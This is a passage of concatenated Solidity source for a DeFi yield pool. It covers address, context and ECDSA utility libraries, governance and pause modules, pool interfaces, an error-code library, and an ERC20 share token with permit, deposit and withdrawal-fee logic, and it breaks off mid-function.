function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
} else if (signature.length == 64) {
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
let vs := mload(add(signature, 0x40))
r := mload(add(signature, 0x20))
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
} else {
revert("ECDSA: invalid signature length");
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (governor) that can be granted exclusive access to
* specific functions.
*
* By default, the governor account will be the one that deploys the contract. This
* can later be changed with {transferGovernorship}.
*
*/
contract Governed is Context, Initializable {
address public governor;
address private proposedGovernor;
event UpdatedGovernor(address indexed previousGovernor, address indexed proposedGovernor);
/**
* @dev Initializes the contract setting the deployer as the initial governor.
*/
constructor() {
address msgSender = _msgSender();
governor = msgSender;
emit UpdatedGovernor(address(0), msgSender);
}
/**
* @dev If inheriting child is using proxy then child contract can use
* _initializeGoverned() function to initialization this contract
*/
function _initializeGoverned() internal initializer {
address msgSender = _msgSender();
governor = msgSender;
emit UpdatedGovernor(address(0), msgSender);
}
/**
* @dev Throws if called by any account other than the governor.
*/
modifier onlyGovernor {
require(governor == _msgSender(), "not-the-governor");
_;
}
/**
* @dev Transfers governorship of the contract to a new account (`proposedGovernor`).
* Can only be called by the current owner.
*/
function transferGovernorship(address _proposedGovernor) external onlyGovernor {
require(_proposedGovernor != address(0), "proposed-governor-is-zero");
proposedGovernor = _proposedGovernor;
}
/**
* @dev Allows new governor to accept governorship of the contract.
*/
function acceptGovernorship() external {
require(proposedGovernor == _msgSender(), "not-the-proposed-governor");
emit UpdatedGovernor(governor, proposedGovernor);
governor = proposedGovernor;
proposedGovernor = address(0);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@openzeppelin/contracts/utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
*/
contract Pausable is Context {
event Paused(address account);
event Shutdown(address account);
event Unpaused(address account);
event Open(address account);
bool public paused;
bool public stopEverything;
modifier whenNotPaused() {
require(!paused, "paused");
_;
}
modifier whenPaused() {
require(paused, "not-paused");
_;
}
modifier whenNotShutdown() {
require(!stopEverything, "shutdown");
_;
}
modifier whenShutdown() {
require(stopEverything, "not-shutdown");
_;
}
/// @dev Pause contract operations, if contract is not paused.
function _pause() internal virtual whenNotPaused {
paused = true;
emit Paused(_msgSender());
}
/// @dev Unpause contract operations, allow only if contract is paused and not shutdown.
function _unpause() internal virtual whenPaused whenNotShutdown {
paused = false;
emit Unpaused(_msgSender());
}
/// @dev Shutdown contract operations, if not already shutdown.
function _shutdown() internal virtual whenNotShutdown {
stopEverything = true;
paused = true;
emit Shutdown(_msgSender());
}
/// @dev Open contract operations, if contract is in shutdown state
function _open() internal virtual whenShutdown {
stopEverything = false;
emit Open(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IAddressList {
function add(address a) external returns (bool);
function remove(address a) external returns (bool);
function get(address a) external view returns (uint256);
function contains(address a) external view returns (bool);
function length() external view returns (uint256);
function grantRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IAddressListFactory {
function ours(address a) external view returns (bool);
function listCount() external view returns (uint256);
function listAt(uint256 idx) external view returns (address);
function createList() external returns (address listaddr);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IPoolAccountant {
function decreaseDebt(address _strategy, uint256 _decreaseBy) external;
function migrateStrategy(address _old, address _new) external;
function reportEarning(
address _strategy,
uint256 _profit,
uint256 _loss,
uint256 _payback
)
external
returns (
uint256 _actualPayback,
uint256 _creditLine,
uint256 _interestFee
);
function reportLoss(address _strategy, uint256 _loss) external;
function availableCreditLimit(address _strategy) external view returns (uint256);
function excessDebt(address _strategy) external view returns (uint256);
function getStrategies() external view returns (address[] memory);
function getWithdrawQueue() external view returns (address[] memory);
function strategy(address _strategy)
external
view
returns (
bool _active,
uint256 _interestFee,
uint256 _debtRate,
uint256 _lastRebalance,
uint256 _totalDebt,
uint256 _totalLoss,
uint256 _totalProfit,
uint256 _debtRatio
);
function totalDebt() external view returns (uint256);
function totalDebtOf(address _strategy) external view returns (uint256);
function totalDebtRatio() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IPoolRewards {
/// Emitted after reward added
event RewardAdded(uint256 reward);
/// Emitted whenever any user claim rewards
event RewardPaid(address indexed user, uint256 reward);
function claimReward(address) external;
function notifyRewardAmount(uint256 rewardAmount, uint256 endTime) external;
function updateReward(address) external;
function claimable(address) external view returns (uint256);
function lastTimeRewardApplicable() external view returns (uint256);
function rewardForDuration() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IStrategy {
function rebalance() external;
function sweepERC20(address _fromToken) external;
function withdraw(uint256 _amount) external;
function feeCollector() external view returns (address);
function isReservedToken(address _token) external view returns (bool);
function migrate(address _newStrategy) external;
function token() external view returns (address);
function totalValue() external view returns (uint256);
function pool() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
/// @title Errors library
library Errors {
string public constant INVALID_COLLATERAL_AMOUNT = "1"; // Collateral must be greater than 0
string public constant INVALID_SHARE_AMOUNT = "2"; // Share must be greater than 0
string public constant INVALID_INPUT_LENGTH = "3"; // Input array length must be greater than 0
string public constant INPUT_LENGTH_MISMATCH = "4"; // Input array length mismatch with another array length
string public constant NOT_WHITELISTED_ADDRESS = "5"; // Caller is not whitelisted to withdraw without fee
string public constant MULTI_TRANSFER_FAILED = "6"; // Multi transfer of tokens has failed
string public constant FEE_COLLECTOR_NOT_SET = "7"; // Fee Collector is not set
string public constant NOT_ALLOWED_TO_SWEEP = "8"; // Token is not allowed to sweep
string public constant INSUFFICIENT_BALANCE = "9"; // Insufficient balance to performs operations to follow
string public constant INPUT_ADDRESS_IS_ZERO = "10"; // Input address is zero
string public constant FEE_LIMIT_REACHED = "11"; // Fee must be less than MAX_BPS
string public constant ALREADY_INITIALIZED = "12"; // Data structure, contract, or logic already initialized and can not be called again
string public constant ADD_IN_LIST_FAILED = "13"; // Cannot add address in address list
string public constant REMOVE_FROM_LIST_FAILED = "14"; // Cannot remove address from address list
string public constant STRATEGY_IS_ACTIVE = "15"; // Strategy is already active, an inactive strategy is required
string public constant STRATEGY_IS_NOT_ACTIVE = "16"; // Strategy is not active, an active strategy is required
string public constant INVALID_STRATEGY = "17"; // Given strategy is not a strategy of this pool
string public constant DEBT_RATIO_LIMIT_REACHED = "18"; // Debt ratio limit reached. It must be less than MAX_BPS
string public constant TOTAL_DEBT_IS_NOT_ZERO = "19"; // Strategy total debt must be 0
string public constant LOSS_TOO_HIGH = "20"; // Strategy reported loss must be less than current debt
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/utils/Context.sol";
// solhint-disable reason-string, no-empty-blocks
///@title Pool ERC20 to use with proxy. Inspired by OpenZeppelin ERC20
abstract contract PoolERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the decimals of the token. default to 18
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev Returns total supply of the token.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _setName(string memory name_) internal {
_name = name_;
}
function _setSymbol(string memory symbol_) internal {
_symbol = symbol_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./PoolERC20.sol";
///@title Pool ERC20 Permit to use with proxy. Inspired by OpenZeppelin ERC20Permit
// solhint-disable var-name-mixedcase
abstract contract PoolERC20Permit is PoolERC20, IERC20Permit {
bytes32 private constant _EIP712_VERSION = keccak256(bytes("1"));
bytes32 private constant _EIP712_DOMAIN_TYPEHASH =
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
bytes32 private constant _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 private _CACHED_DOMAIN_SEPARATOR;
bytes32 private _HASHED_NAME;
uint256 private _CACHED_CHAIN_ID;
/**
* @dev See {IERC20Permit-nonces}.
*/
mapping(address => uint256) public override nonces;
/**
* @dev Initializes the domain separator using the `name` parameter, and setting `version` to `"1"`.
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
function _initializePermit(string memory name_) internal {
_HASHED_NAME = keccak256(bytes(name_));
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(_EIP712_DOMAIN_TYPEHASH, _HASHED_NAME, _EIP712_VERSION);
}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
uint256 _currentNonce = nonces[owner];
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _currentNonce, deadline));
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash));
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
nonces[owner] = _currentNonce + 1;
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() private view returns (bytes32) {
if (block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_EIP712_DOMAIN_TYPEHASH, _HASHED_NAME, _EIP712_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 name,
bytes32 version
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, name, version, block.chainid, address(this)));
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./PoolERC20Permit.sol";
import "./PoolStorage.sol";
import "./Errors.sol";
import "../Governed.sol";
import "../Pausable.sol";
import "../interfaces/bloq/IAddressList.sol";
import "../interfaces/vesper/IPoolRewards.sol";
/// @title Holding pool share token
// solhint-disable no-empty-blocks
abstract contract PoolShareToken is Initializable, PoolStorageV1, PoolERC20Permit, Governed, Pausable, ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 public constant MAX_BPS = 10_000;
event Deposit(address indexed owner, uint256 shares, uint256 amount);
event Withdraw(address indexed owner, uint256 shares, uint256 amount);
constructor(
string memory _name,
string memory _symbol,
address _token
) PoolERC20(_name, _symbol) {
token = IERC20(_token);
}
/// @dev Equivalent to constructor for proxy. It can be called only once per proxy.
function _initializePool(
string memory _name,
string memory _symbol,
address _token
) internal initializer {
_setName(_name);
_setSymbol(_symbol);
_initializePermit(_name);
token = IERC20(_token);
// Assuming token supports 18 or less decimals
uint256 _decimals = IERC20Metadata(_token).decimals();
decimalConversionFactor = 10**(18 - _decimals);
}
/**
* @notice Deposit ERC20 tokens and receive pool shares depending on the current share price.
* @param _amount ERC20 token amount.
*/
function deposit(uint256 _amount) external virtual nonReentrant whenNotPaused {
_deposit(_amount);
}
/**
* @notice Deposit ERC20 tokens with permit aka gasless approval.
* @param _amount ERC20 token amount.
* @param _deadline The time at which signature will expire
* @param _v The recovery byte of the signature
* @param _r Half of the ECDSA signature pair
* @param _s Half of the ECDSA signature pair
*/
function depositWithPermit(
uint256 _amount,
uint256 _deadline,
uint8 _v,
bytes32 _r,
bytes32 _s
) external virtual nonReentrant whenNotPaused {
IERC20Permit(address(token)).permit(_msgSender(), address(this), _amount, _deadline, _v, _r, _s);
_deposit(_amount);
}
/**
* @notice Withdraw collateral based on given shares and the current share price.
* Withdraw fee, if any, will be deduced from given shares and transferred to feeCollector.
* Burn remaining shares and return collateral.
* @param _shares Pool shares. It will be in 18 decimals.
*/
function withdraw(uint256 _shares) external virtual nonReentrant whenNotShutdown {
_withdraw(_shares);
}
/**
* @notice Withdraw collateral based on given shares and the current share price.
* @dev Burn shares and return collateral. No withdraw fee will be assessed
* when this function is called. Only some white listed address can call this function.
* @param _shares Pool shares. It will be in 18 decimals.
*/
function whitelistedWithdraw(uint256 _shares) external virtual nonReentrant whenNotShutdown {
require(IAddressList(feeWhitelist).contains(_msgSender()), Errors.NOT_WHITELISTED_ADDRESS);
_withdrawWithoutFee(_shares);
}
/**
* @notice Transfer tokens to multiple recipient
* @dev Address array and amount array are 1:1 and are in order.
* @param _recipients array of recipient addresses
* @param _amounts array of token amounts
* @return true/false
*/
function multiTransfer(address[] calldata _recipients, uint256[] calldata _amounts) external returns (bool) {
require(_recipients.length == _amounts.length, Errors.INPUT_LENGTH_MISMATCH);
for (uint256 i = 0; i < _recipients.length; i++) {
require(transfer(_recipients[i], _amounts[i]), Errors.MULTI_TRANSFER_FAILED);
}
return true;
}
/**
* @notice Get price per share
* @dev Return value will be in token defined decimals.
*/
function pricePerShare() public view returns (uint256) {
if (totalSupply() == 0 || totalValue() == 0) {
return convertFrom18(1e18);
}
return (totalValue() * 1e18) / totalSupply();
}
/// @dev Convert from 18 decimals to token defined decimals.
function convertFrom18(uint256 _amount) public view virtual returns (uint256) {
return _amount / decimalConversionFactor;
}
/// @dev Returns the token stored in the pool. It will be in token defined decimals.
function tokensHere() public view virtual returns (uint256) {
return token.balanceOf(address(this));
}
/**
* @dev Returns sum of token locked in other contracts and token stored in the pool.
* Default tokensHere. It will be in token defined decimals.
*/
function totalValue() public view virtual returns (uint256);
/**
* @dev Hook that is called just before burning tokens. This withdraw collateral from withdraw queue
* @param _share Pool share in 18 decimals
*/
function _beforeBurning(uint256 _share) internal virtual returns (uint256) {}
/**
* @dev Hook that is called just after burning tokens.
* @param _amount Collateral amount in collateral token defined decimals.
*/
function _afterBurning(uint256 _amount) internal virtual returns (uint256) {
token.safeTransfer(_msgSender(), _amount);
return _amount;
}
/**
* @dev Hook that is called just before minting new tokens. To be used i.e.
* if the deposited amount is to be transferred from user to this contract.
* @param _amount Collateral amount in collateral token defined decimals.
*/
function _beforeMinting(uint256 _amount) internal virtual {
token.safeTransferFrom(_msgSender(), address(this), _amount);
}
/**
* @dev Hook that is called just after minting new tokens. To be used i.e.
* if the deposited amount is to be transferred to a different contract.
* @param _amount Collateral amount in collateral token defined decimals.
*/
function _afterMinting(uint256 _amount) internal virtual {}
/// @dev Update pool rewards of sender and receiver during transfer.
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
if (poolRewards != address(0)) {
IPoolRewards(poolRewards).updateReward(sender);
IPoolRewards(poolRewards).updateReward(recipient);
}
super._transfer(sender, recipient, amount);
}
/**
* @dev Calculate shares to mint based on the current share price and given amount.
* @param _amount Collateral amount in collateral token defined decimals.
* @return share amount in 18 decimal
*/
function _calculateShares(uint256 _amount) internal view returns (uint256) {
require(_amount != 0, Errors.INVALID_COLLATERAL_AMOUNT);
uint256 _share = ((_amount * 1e18) / pricePerShare());
return _amount > ((_share * pricePerShare()) / 1e18) ? _share + 1 : _share;
}
/// @notice claim rewards of account
function _claimRewards(address _account) internal {
if (poolRewards != address(0)) {
IPoolRewards(poolRewards).claimReward(_account);
}
}
/// @dev Deposit incoming token and mint pool token i.e. shares.
function _deposit(uint256 _amount) internal {
_claimRewards(_msgSender());
uint256 _shares = _calculateShares(_amount);
_beforeMinting(_amount);
_mint(_msgSender(), _shares);
_afterMinting(_amount);
emit Deposit(_msgSender(), _shares, _amount);
}
/// @dev Burns shares and returns the collateral value, after fee, of those.
function _withdraw(uint256 _shares) internal {
if (withdrawFee == 0) {
_withdrawWithoutFee(_shares);
} else {
require(_shares != 0, Errors.INVALID_SHARE_AMOUNT);
_claimRewards(_msgSender());
uint256 _fee = (_shares * withdrawFee) / MAX_BPS;
uint256 _sharesAfterFee = _shares - _fee;
uint256 _amountWithdrawn = _beforeBurning(_sharesAfterFee);
// Recalculate proportional share on actual amount withdrawn
uint256 _proportionalShares = _calculateShares(_amountWithdrawn);
// Using convertFrom18() to avoid dust.
// Pool share token is in 18 decimal and collateral token decimal is <=18.
// Anything less than 10**(18-collateralTokenDecimal) is dust.
if (convertFrom18(_proportionalShares) < convertFrom18(_sharesAfterFee)) {
// Recalculate shares to withdraw, fee and shareAfterFee
_shares = (_proportionalShares * MAX_BPS) / (MAX_BPS - withdrawFee);
_fee = _shares - _proportionalShares;
_sharesAfterFee = _proportionalShares;
}
_burn(_msgSender(), _sharesAfterFee);
_transfer(_msgSender(), feeCollector, _fee);
_afterBurning(_amountWithdrawn);
emit Withdraw(_msgSender(), _shares, _amountWithdrawn);
}
}
/// @dev Burns shares and returns the collateral value of those.
function _withdrawWithoutFee(uint256 _shares) internal {
require(_shares != 0, Errors.INVALID_SHARE_AMOUNT);
_claimRewards(_msgSender());
